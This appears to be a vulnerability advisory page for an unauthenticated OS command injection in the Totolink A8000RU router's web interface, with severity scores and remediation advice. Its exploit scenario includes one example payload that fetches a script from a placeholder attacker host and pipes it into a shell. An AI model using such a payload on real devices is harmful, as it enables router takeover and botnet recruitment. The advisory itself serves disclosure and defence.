EUVD-2026-31640
GHSA-vcjq-89x6-qhff
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
A security vulnerability has been detected in Totolink A8000RU 7.1cu.643_b20200521. Impacted is the function setWiFiWpsCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Such manipulation of the argument wscDisabled leads to os command injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.
AnalysisAI
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated remote attackers to execute arbitrary operating system commands by manipulating the wscDisabled parameter sent to the setWiFiWpsCfg function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists per VulDB disclosure, though EPSS probability remains modest at 0.89% (76th percentile) and the vulnerability is not listed in CISA KEV.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special conditions - remote unauthenticated exploitation against default configurations of the Totolink A8000RU running firmware 7.1cu.643_b20200521, requiring only network reachability to the /cgi-bin/cstecgi.cgi endpoint of the Web Management Interface and the ability to send an HTTP request invoking setWiFiWpsCfg with a crafted wscDisabled argument. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) describes a network-reachable, low-complexity, unauthenticated attack with high confidentiality, integrity, and availability impact, yielding a base score of 8.9 - consistent with full router compromise. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker discovers an A8000RU with its web management interface reachable (Shodan-style scan for the cstecgi.cgi endpoint or vendor banner) and sends a single crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setWiFiWpsCfg with a wscDisabled value containing shell metacharacters (e.g., `;wget http://attacker/x|sh`). Because publicly available exploit code exists on GitHub via the VulDB submission, the attacker can copy-paste a working payload to drop a persistent implant, pivot into the LAN, or enroll the device in a router botnet - all without authentication. |
| Remediation | No vendor-released patch identified at time of analysis - Totolink has not published a fixed firmware version in the referenced advisories. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Totolik A8000RU routers in production (particularly firmware 7.1cu.643_b20200521) and isolate from direct internet access if possible. …
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External POC / Exploit Code
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